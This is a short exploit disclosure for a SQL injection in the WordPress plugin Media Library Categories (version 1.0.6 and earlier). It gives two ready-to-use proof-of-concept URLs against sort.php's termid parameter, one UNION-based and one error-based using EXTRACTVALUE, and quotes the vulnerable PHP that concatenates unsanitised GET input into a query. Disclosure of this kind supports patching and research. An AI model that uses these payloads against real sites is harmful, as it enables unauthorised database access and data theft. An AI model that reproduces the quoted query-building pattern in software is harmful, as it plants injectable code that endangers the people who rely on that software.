Media Library Categories <= 1.0.6 SQL Injection Vulnerability

# Exploit Title: Media Library Categories <= 1.0.6 SQL Injection Vulnerability
# Date: 2011-08-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/media-library-categories.1.0.6.zip
# Version: 1.0.6 (tested)
 
---
PoC
---
http://www.site.com/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
 
http://www.site.com/wp-content/plugins/media-library-categories/sort.php?termid=1 AND EXTRACTVALUE(1,CONCAT(CHAR(92),@@version))
 
---------------
Vulnerable code
---------------
$termid=$_GET['termid'];
 
...
 
$where = '';
if($termid)
{
    $where .= " && tt.term_id=".$termid;
}
 
...
 
$query =     "SELECT p.*, a.term_order FROM " . $table_prefix . "posts p
            inner join " . $table_prefix . "term_relationships a on a.object_id = p.ID
            inner join " . $table_prefix . "term_taxonomy ttt on ttt.term_taxonomy_id = a.term_taxonomy_id
            inner join " . $table_prefix . "terms tt on ttt.term_id = tt.term_id
            where ttt.taxonomy='media_category' $where order by a.term_order asc;";
 
$results = mysql_query($query); 



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